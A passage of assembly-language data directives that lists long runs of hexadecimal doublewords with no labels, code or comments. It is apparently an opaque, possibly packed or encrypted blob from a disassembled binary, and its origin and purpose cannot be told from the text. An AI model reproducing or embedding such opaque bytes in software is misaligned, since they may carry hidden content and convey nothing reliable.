0F4E01F6Eh, 6F00F4E8h dd 51E1F6CCh, 4A292Eh, 8205904Ch, 45017D31h, 1F00337Eh dd 403FECDBh, 0BFDB74Dh dd 0BF9C6CC2h, 0CA27CA00h, 8C0093C7h, 63EA13D3h, 0B9ADB0h dd 8868247Eh, 2A74607Ch, 0FA45801Ah, 0FA70F028h, 0B67D00FBh dd 0BC94BACBh, 91EC148Ah, 60037E98h, 44A5FFC7h, 0B0B3A06Eh dd 293F0026h, 0D3F7C04Dh, 6501189Dh, 1943FEC4h, 24281A04h dd 0F9648102h, 0BC60E480h, 9E004B4Eh, 9904062Fh, 69CADBh dd 0AE8A9BC6h, 19B1A4F6h, 2505A00h, 0CC13442Bh, 0D0DB1266h dd 0D7D0A075h, 522370Bh, 25BC6457h, 342310FDh, 18F8F23Eh dd 0E1EFAFBh, 3AC95D77h, 21444424h, 0AA1016E2h, 1CB2221Dh dd 1880188Eh, 10C0A223h, 1CC29FE7h, 6720C139h, 7868E5AAh dd 0FA1F7820h, 7428DA3Bh, 740F3D00h, 0CCF62455h, 186B12E2h dd 0D8460E7Fh, 0C0565444h, 0E410DE71h, 3D143390h, 4C1A3Ah dd 0EA5C3E50h, 3EE9033Fh, 68834D5Ah, 3823C99Bh, 4C04AE8h dd 0ADD9B200h, 6CA28431h, 707F8E1h, 67E635E2h, 0A3C48325h dd 6F6057B2h, 0E00C10Dh, 2E289D8Eh, 0E24D8DA7h, 0D3C33955h dd 5BE08800h, 0D8CE73Ah, 9376E8A0h, 3F174300h, 0A36B4124h dd 3D1C1E4Eh, 0FC1000CFh, 84E14B7Fh, 8009B73Ch, 9CFFC494h dd 0E4DC67h, 407504CDh, 0BF3B030Ah, 3AEF0D0Eh, 39B20779h dd 815788A0h, 0A29F004Eh, 0DFCB5B5Ah, 9B003DADh, 4FC9E2B6h dd 0B8BCC0ACh, 8E890304h, 2758D3D1h, 45403BE8h, 4369E300h dd 0F9B63E64h, 0B396004Fh, 0E4834754h, 0B800FE33h, 37B00336h dd 0A1B06h, 0F4AFF0A8h, 2471C50Ch, 36FDCA00h, 797D37F9h dd 237A11h, 0AC1EDE3Fh, 525AD034h, 0E5147700h, 27A2B403h dd 718303B1h, 0A84B0267h, 4DB559D8h, 0F9F88D00h, 0CB6D31BAh dd 0D52D2CF3h, 0A2440036h, 0A7C25D5Fh, 174FE800h, 0DE16A8B4h dd 8D8E036Dh, 0A0FD38C8h, 2736AEF0h, 23D10500h, 0CD29C75Eh dd 3DEE18CFh, 6375405Ch, 0B9021F00h, 8A89DCEAh, 81080035h dd 3F7EB6E9h, 540C8FB1h, 90417931h, 843203F9h, 5CF815C1h dd 4EBC801Ch, 0F301FB12h, 5448A41Ah, 286CB440h, 0E4213FC0h dd 0C6231300h, 0A67A64D6h, 1B4EF31Eh, 9A3AF100h, 8B52B1h dd 18D09305h, 0C25812D7h, 0E13D7300h, 2DA4547Ch, 13A83344h dd 2D82218h, 0A6005107h, 6C4C41C4h, 2EF2FBFAh, 0CEF573h dd 0EF1A7D11h, 88C868EDh, 0F63B0023h, 0BD730246h, 0D5D16100h dd 0EAA0801Eh, 0FD932669h, 0FF5500D4h, 3816EBC8h, 0DD9E7703h dd 0F0499D36h, 15AFBFh, 0C89B6EB8h, 0F158691Eh, 0BB7C6518h dd 1104F99h, 0F9E44B5Dh, 9E2FC582h, 95C0EA70h, 870E63BAh dd 0F4A10ED2h, 8B602273h, 0DB1C0551h, 2F401061h, 0F6DF0676h dd 6F380111h, 64AE447Eh, 8D0CFC6h, 8501793Fh, 0F0B04A45h dd 9BC8F51Fh, 2E7209F4h, 0A6059646h, 49AC0018h, 771BA6EAh dd 869CC41Ah, 3460F7C0h, 96A00245h, 5F0015D3h, 0F0AEB37h dd 0B5D8C712h, 13CC9D60h, 0DCBC4500h, 0D2145EB4h, 0D38F004Dh dd 85DDC920h, 0F3007D71h, 0C3BD7068h, 1AC6203h, 79814A74h dd 40E2C5D5h, 64908EBCh, 7376F3Ah, 3C2BBDF2h, 14CD32C1h dd 0C5F620h, 0B6C32410h, 0A2B23EEAh, 3707A500h, 25825685h dd 340004Eh, 1ADD274Bh, 4A9A1D13h, 0E5118F00h, 0C340257Dh dd 7CB10FCBh, 8A6091B9h, 0DC8762EFh, 6718E372h, 83F884F0h dd 0E6340051h, 0C34E0A1Fh, 353F18D7h, 0CD8A8713h, 413088F9h dd 2CC075Ah, 0E9267E01h, 8868D6C8h, 0A1140F45h, 0AC19A0h dd 0D29464C0h, 0BC7808h, 0C5BB4F15h, 0CC0F1279h, 0E35E3F2Eh dd 52C91100h, 3C3559h, 0A16A265Bh, 144E5551h, 9987BF00h dd 47F73AC0h, 371100E9h, 0A9730832h, 0EB018E52h, 3FA4693Ch dd 0C08085FAh, 70C2A36Ch, 5E00A809h, 64B0DD36h, 37E82815h dd 0A19817EBh, 0DD19A177h, 9A84F895h, 40C0B66Fh, 15F8FDF9h dd 0A7B00033h, 4B1ABAEEh, 413C92AEh, 83CF0497h, 1C91222Eh dd 873BE946h, 7EE21199h, 2C19CCD3h, 340A3600h, 7A5008E1h dd 0CC40012h, 0C1A58ABAh, 11001D78h, 5D44EC15h, 3A560A9Ah dd 0B8005FC8h, 12C5C348h, 0CA709D14h, 1B2E3C01h, 0C6034E6h dd 3821B8C3h, 6A9500EBh, 87B9CC68h, 0B6008CA4h, 8E64AFACh dd 7F49436h, 0A399D050h, 0BB01101Ah, 0CA00905Fh, 0D6021E1Bh dd 0C0B71DB5h, 4020EAF0h, 44002988h, 114DA85Fh, 4DDE9A6h dd 0A595D2B9h, 0F04C80D4h, 23E6FB82h, 1B39CF01h, 61DF522Ah dd 3B33F8ECh, 9887AB99h, 203245BFh, 0A3B013E9h, 0BA63E301h dd 0AE7AF34Dh, 6B4BD0h, 1B18583Bh, 96E7D4C0h, 1EC8B53Dh dd 0FD80D9BCh, 867F879Bh, 3FD800E8h, 16240456h, 6E0643FFh dd 8B28EAC4h, 62E224CEh, 5DB1D1Ah, 433C7B54h, 4839AAE0h dd 653A5197h, 6F082087h, 0AB67B200h, 0AD6990C8h, 0C2A203A5h dd 0ED51BC58h, 2030D1E9h, 741C1581h, 20581945h, 0FFCA638h dd 4C441C84h, 9ED92820h, 0A300484Ah, 0ABD11A3Eh, 0AC946Dh dd 885CF1C1h, 13E4CD53h, 971460F3h, 0FC7E7800h, 6C253B9Bh dd 9E4903F4h, 0C6449532h, 141718E0h, 99CCA000h, 3A37F019h dd 7343161Bh, 44084065h, 1C6B5D67h, 0D0C77107h, 0E04FE3A0h dd 0AE82A4D6h, 9E8C0123h, 80985A9Ah, 5FA8403Ah, 0F0169033h dd 0C7B0DF4Ch, 301848D3h, 95597700h, 72924211h, 24C7DD03h dd 0D0D8ADD7h, 77BFCB39h, 690800EBh, 0D470F1A8h, 570EF294h dd 1D507ADCh, 9E2EA940h, 0F8FFD90Ch, 0B2DD0B90h, 88E639Ch dd 4C4BA2C0h, 4600D512h, 5B9B9FDBh, 61DA34h, 199768Ah dd 1C3B9AD4h, 950C84Ch, 97FD6B8h, 15B40134h, 0B6E433E0h dd 0E944127Dh, 88B040F8h, 9049EF9Ch, 2ED3FB03h, 0E0FE17C4h dd 2DBBEh, 0B12414F9h, 8C6886A6h, 894FD938h, 9A824Bh, 437CF6A8h dd 0E80C03F8h, 0BB3A420h, 5917C6D8h, 0C35B2C01h, 9470294Eh dd 1DEFF2E8h, 807EDA9Ch, 5AB721A4h, 490E627Fh, 60B3AEFDh dd 0D951F934h, 0BA2000CBh, 31641DADh, 0B400B72Eh, 3D463B8Ch dd 125E0E7h, 155ED06Ah, 3449E49Bh, 6F00AB8Ch, 0B1DC08DBh dd 90B24319h, 8B8A03BFh, 0D3F69634h, 81363AB9h, 43711780h dd 0F7DCB18Ch, 0BF652E4Fh, 3D2300A0h, 9BE5CC74h, 0B4AB5E12h dd 68551403h, 9E9C1BFh, 1F50119Eh, 9E340586h, 0E0400B42h dd 3857F020h, 55309ABFh, 147D3808h, 4BB420BEh, 3826C900h dd 5CB631EFh, 0E102221Ah, 0D37D9212h, 789AB440h, 9506A4Ah dd 5FD7C052h, 9850EF0Ch, 1A32551Dh, 6D111CA8h, 5C309F92h dd 0B2840430h, 30A411E8h, 0C24DF500h, 4FBDEC6Fh, 0BB99287Dh dd 0FD9E33B0h, 84D0E3A0h, 0B2006856h, 91A3FAC9h, 1E11C1h dd 78B89DC3h, 0D8A672D0h, 0FE3F7900h, 5368938Dh, 0C87B005Bh dd 0B492E04Ah, 470F1648h, 0C0F0BC21h, 67C683BEh, 0C9800B2h dd 7EE0E16Fh, 0F5014A3Bh, 0F74FD549h, 87433AC1h, 98BB93h dd 2381BBC9h, 0C09A521Fh, 821A3C19h, 2180A008h, 4F2399D8h dd 0D00C3F9h, 390E246Fh, 67C2D430h, 87F1CAh, 42E16726h dd 558EDD00h, 3E910ED5h, 0C352003Ah, 0B4A5F36Fh, 1631BD17h dd 51AB18B8h, 331DC34h, 4CBEACBFh, 0DD81EE6h, 3233BD14h dd 649B28A7h, 6092B889h, 7B1A2380h, 0AE448C52h, 239803D9h dd 366D1142h, 6006F2BBh, 0CC8726E1h, 561F0CA8h, 2318F041h dd 0C42F2E10h, 2AEC5004h, 967888B3h, 0E500FE72h, 9F58763Fh dd 0E85CA637h, 0F421CF41h, 940E40FCh, 458F5517h, 0D0C84F03h dd 16CB33Bh, 84546AF8h, 80F623D3h, 0B0944B10h, 134F872h dd 978B7771h dd 0C6AB3709h, 605542F5h, 94325Fh, 0D65C48EAh, 0CA3BF0C6h dd 0E38C5A00h, 0B69C180Eh, 88F70046h, 8E7AEC35h, 0F30040DCh dd 22F44EFFh, 0D31B51h, 0A42748ADh, 8C3F63F8h, 0D69BCF00h dd 139F1E54h, 58C50017h, 0B134E3C6h, 931FB4F0h, 5C80A9AAh dd 0CD445BC4h, 1AF100A3h, 439BA81Dh, 410E1C56h, 51B413h dd 384B90DFh, 8AD10098h, 3C259E7h, 0C500E1D9h, 9D63613Fh dd 726AEB5h, 6DF0AB46h, 0A7E80307h, 0C0935FB1h, 5E288CEDh dd 1126CA6Ch, 3A009920h, 9425C910h, 88D100B5h, 36277AD3h dd 13003D4Ah, 5D22B3CEh, 17D775h, 301AEB46h, 7953EF88h dd 56044100h, 0EE981BD5h, 0C40F0054h, 0E30E0AA8h, 850384D4h dd 48CCBC55h, 0FAADF05Ah, 0F5780023h, 4EB635CEh, 0A80004B1h dd 9F936DD9h, 0E399FEh, 0AAE46AC8h, 824C788Ah, 0F5A21803h dd 0F128525h, 0DDAE0A11h, 6BADCBA0h, 811486B0h, 0C83652h dd 83D15D6Fh, 0F9B229Eh, 70E6A6B8h, 0C486D660h, 7A302440h dd 811E1076h, 0CE040006h, 757D80EDh, 0AFE46A78h, 7E5031C0h dd 753CEC9Bh, 4E21C0F3h, 0E03394EBh, 0C01C730Fh, 78D0AC37h dd 0DFE1Fh, 0BBAC9B42h, 799CF95Bh, 6B6D4A00h, 0CEA89F95h dd 0A5570045h, 0E7FD2980h, 0BA00EA42h, 0F3F49E20h, 3583B9h dd 1F4D1065h, 803CE9EBh, 0C7D4E501h, 4F1CE06Fh, 167B3EDCh dd 0A0FD41BFh, 2A0033D8h, 0EA5375DAh, 0A01D5C69h, 7712A8h dd 0CF7D942h, 4AFEC16Dh, 55C9B000h, 48C3964h, 95FA0014h dd 0AF1C2E2Fh, 9B148E77h, 0A042FBh, 9885D7DAh, 0FB305860h dd 2CD22824h, 0E700341h, 8AE0C67Fh, 0E03B5971h, 44DFBF00h dd 977CFAB5h, 0CDC50084h, 4D7AD2ABh, 9B00522Bh, 0B92D1E0Eh dd 46ED3F5h, 0C594B57Dh, 600EC71Fh, 0F059BE50h, 0C071BB2Dh dd 2A56D7B1h, 1CC494B0h, 0CA06E8h, 0E137FD53h, 0C4002C8Ch dd 0A1B274A9h, 4292C6h, 868FD9E2h, 0CF502387h, 0CC6F2F28h dd 84F34C00h, 0C9061CFBh, 0A8574F56h, 0B15E1280h, 73D1B703h dd 6224A86Eh, 4615012Ah, 2CEC55BEh, 0D099E94Dh, 1A00A4CDh dd 66AB1251h, 73505B6h, 4EC7F596h, 0BB92002Dh, 2500F398h dd 0CCF661D6h, 0E4631Fh, 2B91A097h, 6EF4D2C2h, 0D4DDBAFEh dd 0CF3A3144h, 12E66480h, 9CF501B4h, 0D5502214h, 0B9BF5Bh dd 0F057E1DDh, 0E059EEADh, 1231E05Eh, 4079234Dh, 0B5511B60h dd 2600AACFh, 0E0DF3402h, 7077CDEh, 0D7798285h, 0FBC5F0A8h dd 3F3DB058h, 0F7B42665h, 720CA200h, 93C07Eh, 828BE1C4h dd 8A12AFB8h, 0F97EBFFAh, 0CD311107h, 6FB0ACDEh, 3560381h dd 0BBEA04CBh, 9DC89CC9h, 0AB0301C1h, 0A1E860A5h, 0B37AB376h dd 5BDE982Dh, 56FA00A2h, 3D166A13h, 7E181A42h, 0E2101CBBh dd 0AA190EE9h, 904BAD94h, 30299600h, 8378C49Ch, 6F394463h dd 0DEFD8048h, 18E603DDh, 0BF8D12BCh, 6935BDA0h, 3B9AC3Ch dd 0E1566C2Bh, 0E3FEA8F0h, 0BC7100EAh, 600A6D2Fh, 8C77660Ch dd 10514Dh, 5A809656h, 0EC19A5ADh, 0BFD000B3h, 700E849Dh dd 0F900C7CBh, 4981795Ch, 3CA8B0h, 0DF025920h, 297CA9E7h dd 0E8B139h, 0D88370EEh, 0E83CFAA0h, 0B46E00D4h, 0F17E69B8h dd 0FF0037B1h, 2B709D6Ah, 3B22E13h, 94DF142Ch, 0B8D9D426h dd 0EFE0D8BFh, 0D098E160h, 0E5C06Ch, 5923A478h, 387B3577h dd 0E1AB0800h, 646ACD7Ah, 0FEAE095Fh, 48807C2Ah, 3801543Fh dd 0A717000h, 1ABF2896h, 0AC8406FBh, 29E66F30h, 0FE0047FAh dd 0AB79F212h, 1F59A6h, 400A0E45h, 0FCE5A48Dh, 0E3712D01h dd 1B733CCEh, 0CD5020h, 0DD64232Fh, 0CCFA52ADh, 0D505D4E8h dd 0D1CEF225h, 0E012A80Eh, 4629B359h, 0DA6A0576h, 8496B48Eh dd 0AD9B8053h, 9C000C12h, 6AB9C5B2h, 1E37F12Ch, 3BD15A7h dd 770961C6h, 9D48E3h, 0ACE611AFh, 0D27A503Eh, 0C95AA0Eh dd 4F0EC25Eh, 76ABE044h, 96592878h, 0D5AC0A89h, 80B04665h dd 0A66EC7F4h, 7400B609h, 0D0F5D687h, 0F02C07h, 803011CEh dd 133A44Ah, 637CDC0Fh, 15855F8h, 12A50D43h, 0F0C4AF41h dd 0F7BA008Dh, 6EEA1024h, 0DD0096A1h, 36B2C19Ah, 53D101h dd 2EF677C2h, 5BE0472Ah, 0C4C80900h, 7927CE54h, 497801C0h dd 126C8910h, 70E7D452h, 0A53F4EFh, 0EA3A5D0Fh, 6C18E03Dh dd 73BD1127h, 0D8016E04h, 5F24B240h, 5B07151Ch, 0DED9D6C7h dd 0F7450EA0h, 7E250014h, 60DDD3C1h, 3100E66Eh, 230C93A2h dd 3507411h, 0EE251F63h, 1380BEE1h, 43485177h, 15900034h dd 0C5034A8Fh, 1CEE018h, 99BE4052h, 0D8E51707h, 2100BBFFh dd 617BA474h, 3A6A6837h, 1380F7ACh, 78F4BCE9h, 0C33F752Ah dd 0D8CA2C92h, 0BFE5D187h, 0F775071h, 706434h, 57ABDC5Ah dd 0A3C82583h, 11CAF48h, 0CB7D9B76h, 1180D0CFh, 0DE8C7C63h dd 803B7FDh, 0BA68424Eh, 4010923Dh, 3BBC2E72h, 0F200A02Ah dd 50E9CFF6h, 7E005D69h, 4C72ED12h, 60BD197Dh, 0D2BA18EAh dd 3E1D2749h, 37405344h, 0F2A9A2FCh, 0E426184Ah, 4FC070DCh dd 0F4E065E9h, 2500F920h, 5E137687h, 377DBBh, 2A91F8A6h dd 6C69DF8Eh, 1843B00h, 39835F42h, 0E420A8C1h, 0A3171275h dd 80FD10E6h, 0AA552FC3h, 0EE4900C4h, 244D58DCh, 4745h dd 0CB81728Ah, 6B00821Ch, 0B0684A46h, 1098FEh, 0DBAD1A62h dd 8EA9BB15h, 97F16A00h, 88E29EDFh, 0FE7B00B7h, 0F616D994h dd 2D00374Bh, 2FDF200Ch, 77C13BF5h, 839B0033h, 9CBF7D15h dd 1E035062h, 0E886CFE9h, 0AE6DD96Ch, 720D68E8h, 0A0210052h dd 22351364h, 9E003F0Ch, 77DFF75h, 0EEB4845h, 24AA2D27h dd 0B1D37020h, 3309C9DAh, 80017E08h, 2C58343Fh, 4F390022h dd 12C7720Fh, 35714642h, 41163C90h, 1400ECD4h, 2DD8AFBCh dd 0BFE0070h, 216BB850h, 2C0028F6h, 0DE8D809Dh, 0FB9C3DCh dd 26F8A338h, 0EE11C2C0h, 0BD01FA43h, 847C28DDh, 0D820E415h dd 0D2D0013h, 92C77F25h, 0D400F16Eh, 19E0D003h, 0AF9042h dd 6F367A3Bh, 46F4BF96h, 8CE65524h, 3C154B81h, 74745991h dd 7E72C7h, 0C4580482h, 44D9FEE8h, 6F7CBA00h, 0CBA71413h dd 0EE903A95h, 2ACD8000h, 0A62F59D9h, 0F942FC00h, 0B90244E2h dd 0ABAD055Fh, 0EFF030h, 0D9B3E8C9h, 0E07F1C8Dh, 2800A04Ah dd 7EF15E85h, 9B008A59h, 3B1F21ABh, 582459h, 0D8C6E77Ah dd 682206h, 4C6ACC89h, 0E9FC483h, 14704A0Fh, 84444046h dd 26FA1AADh, 0E055FFh, 38B24F29h, 30B88EDFh, 1D0E3622h dd 0C04C1CB9h, 0C9561E1Dh, 5300B3B7h, 18832554h, 1EEB3CD0h dd 9D2D43E7h, 0BDCB40B8h, 94E65831h, 7A02BF01h, 49014F5Ch dd 58D009D0h, 3700BDA4h, 9E728224h, 0D1F01097h, 14988500h dd 7A325E84h, 0A26000FDh, 0E6F824F5h, 3498EB41h, 80E7353Bh dd 328F5E5Ah, 5BC965B3h, 0B58BF0B4h, 295F8600h, 83FE251Ch dd 0B1EE003Ah, 582046FBh, 1E0018C1h, 9D04D170h, 0FA72F902h dd 0E2220075h, 4551AC37h, 600F452h, 5D6C4BC8h, 0E84AF44h dd 5A16E556h, 6E2E3C20h, 0F2E48309h, 0DCCD2D00h, 290FA120h dd 0A37601B4h, 6B14BFFEh, 82D041A2h, 727C64C2h, 0A6B5E400h dd 29787CF2h, 93750226h, 0D6552BFBh, 0DE427C81h, 2709FCE2h dd 0C86C5A00h, 622D8135h, 134F0073h, 5F25F45Dh, 0CA3D0EF1h dd 7DCC0070h, 0AA21EF53h, 3A070017h, 0C18F0BA3h, 37301B03h dd 0A2DD7031h, 0FD967DFBh, 1B0E887h, 0E0F04739h, 0BAC7C01Fh dd 0C961A9C1h, 8DE05456h dd 0FA140010h, 0F4F6F14Fh, 0D53925A7h, 4BC839h, 8E66413Ah dd 7BE4605h, 19AE5206h, 6D7AC090h, 8D0ED66Fh, 81961216h dd 0A477F637h, 5DF49821h, 387A03FBh, 0DA10BC74h, 0FC01197Dh dd 76758CCFh, 81EA02D2h, 0D06E3DA0h, 60CE1301h, 8C38B949h dd 5F20010h, 2CB1AAF9h, 0F14E0F8Ah, 6220520Ch, 7FF78235h dd 0A3753412h, 84DC88h, 0BA4B099Ch, 0EEAD160Ch, 7B2A7603h dd 800A5A42h, 72B00D9Eh, 648A0069h, 4035FAFDh, 327B9D63h dd 6B21100h, 0CB4A1DBh, 0F8F70148h, 79389085h, 3F70C820h dd 6AEFEB03h, 0D8A6B461h, 0FB1655h, 69735E26h, 1EBA6FE0h dd 7E21A3Ah, 5837E376h, 4DC7D460h, 9DE2EBFh, 0C16900CCh dd 46D0D587h, 88403400h, 94FC7FBEh, 4416006Bh, 9C8EAE95h dd 0C9FE2BA6h, 5F570403h, 0F0BEA0BAh, 0B81B592Fh, 12AA07F9h dd 92E094F5h, 1850F2C9h, 888F300Bh, 98A8801Bh, 58C3B0h dd 0E1C4AA90h, 7FC67DB4h, 44744070h, 0A34B9100h, 96BC0D1Ah dd 85543870h, 3428DC00h, 0CDE15122h, 3BD7AA00h, 5ECE10A5h dd 0AE20C087h, 22C538BCh, 8C0D9C00h, 0C07B55D7h, 27611FF5h dd 4E54283h, 8C502575h, 9E71EF00h, 70D39AF1h, 0D5F43C1Fh dd 0C060689Dh, 7F75B92Dh, 0E60E89E2h, 0C0FA2A58h, 0AFE09064h dd 25930F79h, 83403A17h, 6A38B57Ch, 0AEBD0409h, 986820BFh dd 0B082A88Eh, 24C52600h, 0B4C30158h, 345D4F64h, 5513CB60h dd 20809381h, 185EF1F9h, 10711C88h, 6E06EEE0h, 2005F4ACh dd 9DF630h, 631E8EE3h, 0C176D078h, 0D8C3FB04h, 0B8800777h dd 1BBE29Dh, 2BA6125h, 81060818h, 70314818h, 0AC34D51Ah dd 0EB5C00AAh, 1D56345Fh, 0A80FB54Eh, 60FDBB05h, 7307A58h dd 59EC00DCh, 9962E482h, 4D0011AAh, 0CEACA529h, 12C7CB5Ch dd 0CDA854h, 5E8D4110h, 0CF485BA3h, 0D33D52h, 595F07FAh dd 4A1F366Ch, 0B1AC4099h, 4B6D53F3h, 5D00D0BAh, 0B39068FFh dd 0B77EDAh, 0D30AC5C0h, 7A09FB7Fh, 3C389E0Fh, 3397A0D6h dd 0F34EA85h, 0A6154021h, 44B86800h, 7400795Ah, 6AC4F48Dh dd 592B020h, 0D5C6FE6Dh, 20FEC7DAh, 63934502h, 57607B00h dd 8B354FDh, 0BDC60190h, 953DBCD0h, 8635F87Eh, 59889200h dd 0DBA84E58h, 3CD6286Bh, 0DC0100AEh, 4DD10FC1h, 7000B489h dd 4FC867E8h, 5DFFD8Eh, 8D0BAB8Ah, 986C80D0h, 0DC009BA4h dd 0DEE93E4Bh, 1F1958EFh, 40A9ABC8h, 300D07F7h, 0B10E4EA3h dd 2029EE1Ch, 3261E68Dh, 479F0EB0h, 72A89Ch, 33A1F754h dd 0AD003A54h, 1C2DD7B4h, 7811E9C2h, 92B20031h, 6DE0F55Ah dd 8D00EBE2h, 0AFD86134h, 5AC20B26h, 78F40166h, 7083C360h dd 0DE2EEF7Eh, 0C0094D6h, 42F0A391h, 0FC96D8h, 7CC0E5B5h dd 0EB24A056h, 0A604BE2Bh, 94C101B4h, 2424FA0Ch, 90E80558h dd 0D05E802Bh, 3608C24Ch, 1C1C3E5Dh, 0C9C0AF8Ah, 11431CC5h dd 0C5700BEh, 175EDDDFh, 9A034088h, 0DA014AECh, 5B0C8A9h dd 88BADCh, 83C6A32Ah, 0C1846351h, 802DAB3Dh, 94A9296Fh dd 9C471EEEh, 7CC70148h, 0FC2F0963h, 1702659Eh, 0EF7D8B40h dd 0C3A0E0A4h, 86809434h, 3946B6EEh, 83E7AB03h, 0A057A925h dd 0DE50B0C9h, 0F1F18h, 51547D84h, 901EFDDDh, 95879C72h dd 1B0136Ch, 9BA4CEEh, 0E765C435h, 0C6D441h, 0D8DB2Fh dd 1C4D6C10h, 0F14C46Eh, 2E2C801h, 28C9EE5Bh, 53B2F0h dd 7DD398C5h, 552374DBh, 2C88AE63h, 1CEEA9A9h, 4EC17041h dd 75E06040h, 46A70017h, 68861FADh, 533CAC5Fh, 21C015Bh dd 0B4408A0Fh, 0A4B260h, 0F11157E0h, 75D9616Eh, 2E4F8400h dd 3F7F8AC5h, 0AB7400AEh, 85603E0Eh, 0B300ECF5h, 4A16EB7Eh dd 0E02569Ah, 49E0D368h, 3A06BA60h, 14007F60h, 67176AEAh dd 8BCAAAh, 0F2AEDE65h, 9AE75658h, 806E233Fh, 5D102E11h dd 1D0ED9D7h, 0D4D627h, 0E2F1A2AAh, 3A008AB2h, 7EB02AF2h dd 18D7FE4Ch, 1E6F82C5h, 0AA00A3A0h, 0FC6EBFD4h, 0F4357Ch dd 76AB4F28h, 12D7E12h, 0DAD1C505h, 8C406C7Bh, 0B887338Fh dd 0B8CD50E6h, 269D3AEEh, 80C88B26h, 0CA873BA1h, 5600D07Fh dd 7891690Ah, 1AA923Ah, 73DDB6B7h, 81F6CF35h, 206FFD30h dd 7424F048h, 1EF70053h, 7DA3DADBh, 9CC8E37h, 0B321E7h dd 0E3271EBFh, 0C42B2F6Bh, 44C3460Bh, 43A5058Eh, 2068C286h dd 0EC8B9EFAh, 7F918EF0h, 0B9B06801h, 0BCAD8752h, 2F8020B2h dd 111ECA30h, 88DBDAECh, 0F280BFFCh, 4AB3281Eh, 62140FDAh dd 94672Eh, 0F0FBEF68h, 0CC96B89h, 4149F1F3h, 0B9002081h dd 1FA9332Ch, 6FC1DD83h, 215908CFh, 0E77370EAh, 51C43B00h dd 2A5B874h, 7AF61524h, 9D26BC79h, 0CADB007Ch, 0F5067153h dd 0EF587303h, 6E3DCADh, 32A75DC8h, 0D803D881h, 8F56B62Fh dd 0F1A883Ch, 131D0342h, 8121A0CAh, 0C30108B8h, 326903Dh dd 0C2CDC888h, 4DF1E09Ah, 0D7D300DFh, 0DE2A2EEBh, 0CC0006D5h dd 67E708A6h, 262B81FFh, 0A6604Ch, 0A596A702h, 4E0E7CF5h dd 60826E1Dh, 4587B7FCh, 0EC41EE8h, 0C193C096h, 184960F2h dd 696AA600h, 0ED2D9950h, 1BE907EFh, 0E0B4F7E6h, 12773CE0h dd 0ECD27500h, 0AF787143h, 0DD100058h, 2338263Eh, 0E514D4CFh dd 0ECEA6Ch, 0ABD2BA3Ah, 9B5E5Bh, 0A86A7748h, 0A3090884h dd 241DE707h, 0EA63B643h, 82B7802Bh, 0DA1A0023h, 0FC69CE45h dd 0BE3F9E7Fh, 7200FD65h, 0EF5ACC42h, 0F2E8E76h, 718AFA02h dd 1EDBA072h, 6403B77Ch, 0DC4376DFh, 1267C84Dh, 0E068C008h dd 9CE69FB9h, 4FC9D101h, 0EA3D4615h, 0FA6B5DCh, 8FFCAA83h dd 0F0C064A7h, 567A2388h, 7300707Fh, 656E98B1h, 30BC7E2h dd 5BD47D0h, 18F843D2h, 2D008B78h, 3F7B5F8Dh, 3E775734h dd 6E80EC3Bh, 47999BB2h, 0A900488Fh, 6C22A076h, 0A28BD4h dd 0E35D5F67h, 28824144h, 656092Ch, 9F1D3900h, 1EC222FFh dd 9C24FBF1h, 47840ADEh, 345200A4h, 0A9F685DAh, 318F9F00h dd 7B89863Bh, 0D8B30071h, 9B7D3354h, 2603FC2Bh, 0EABBE87Ch dd 49E4C077h, 0D0C50FF1h, 8C007B7Fh, 0AFC99997h, 1C3FD600h dd 19218089h, 7DB4FCF8h, 984C7F17h, 9D1B0082h, 0ACD5CCFBh dd 3801B7D8h, 78A18968h, 0B4807DFFh, 2B348B69h, 3200F9ECh dd 0AC1BD6D7h, 0DC8916h, 31515F7Ah, 8798492h, 0CE411F00h dd 152DA383h, 0B59E0CE2h, 9CE8EB57h, 1068A44h, 1BFAC534h dd 0DA0E51EAh, 6B1C92C0h, 5CC58h, 0C33CF8C0h, 3E916179h dd 6F96520Fh, 3B5901DAh, 207B99B3h, 35005FB3h, 0DD010B82h dd 3187D84Fh, 3816A132h, 2B75E43Eh, 68182A0Fh, 0D87433h dd 4E4DD726h, 614AFE66h, 9EF789DCh, 0B8A0D29Ch, 0B006A88Eh dd 0BAF9ED00h, 0FC2D75E8h, 1EA70013h, 95E18557h, 0C902F47h dd 0A9EE2900h, 8EF89916h, 1ABC008Ah, 1E78139Eh, 580DC27Bh dd 5823CEC9h, 1788DF20h, 5B3C45h, 4FA902Eh, 0CD003D29h dd 500A7919h, 7B46073Eh, 85B00E6h, 71DAC2DDh, 4F00667Ch dd 2A9044CEh, 33E55EFh, 450646Eh, 0B94C9C02h, 0C9521C0Bh dd 11B82554h, 82018410h, 3D81CE34h, 29B0D495h, 59038BF2h dd 2042F425h, 0CB4A85Ch, 0D6B80056h, 0CEBED278h, 5498865Dh dd 0FE797400h, 0E48B9FADh, 47EC38h, 0A2F35857h, 630B9EFFh dd 0A7F55D03h, 0D88A5031h, 6D3E07h, 1CF8B21Ah, 79CB9F95h dd 71915700h, 58BA17F7h, 8B414C8Fh, 4D30A300h, 46F5BEBDh dd 0DAD9A400h, 0DC1370CBh dd 4A3203E2h, 0BF740A7Ch, 898E2AE0h, 0FA45400h, 0DCC9CA1Dh dd 4A6009Fh, 0D253C615h, 7200A382h, 0AD09560Eh, 13FD63h dd 50D8AE5Ah, 6B1FA553h, 0C7D5EA01h, 466A902Eh, 0F4029040h dd 36F469h, 44E1D1E8h, 0FE296554h, 10430100h, 3A1147ADh dd 0B87000B3h, 0B0FF69A9h, 4800FC03h, 21965C58h, 0A819D0h dd 0BC8E93D1h, 0A19AC1DEh, 0EEA73400h, 3A6E2D5Dh, 2E72CEh dd 0D1050C06h, 447D3288h, 8433AC01h, 9E8B578Ah, 4A3160h dd 9249EF2Eh, 202C7401h, 0A0E35500h, 575F1253h, 3C100C0h dd 1C5927DCh, 0D4F442A2h, 4944CF01h, 42CCE0Fh, 696A1E3h dd 252D6880h, 0FADC1C4Ch, 322CB1Ch, 0F3808864h, 0D494360Ch dd 3E522412h, 13540024h, 49C5FA87h, 0BFDDDF0Dh, 0D6D81822h dd 33F00947h, 7481D5CDh, 0ECB0BAEFh, 3400AAC9h, 4B8E0AEAh dd 9673D4h, 4E5262A3h, 7721220Dh, 0F4F1FD00h, 0CA27863Ah dd 4F4500DFh, 0A2F55A49h, 4212666Fh, 584A02B9h, 0BE41C869h dd 0BC47D193h, 33E4DC40h, 33F7EC6h, 141C67CCh, 75A08204h dd 34028F59h, 0E50174CBh, 0DB805F64h, 0D486A120h, 8CF64E00h dd 0FC740FE4h, 775601F5h, 0E3F3CC62h, 0A319804Ch, 8DCA2A16h dd 24870048h, 2E4586E1h, 3C00FAAFh, 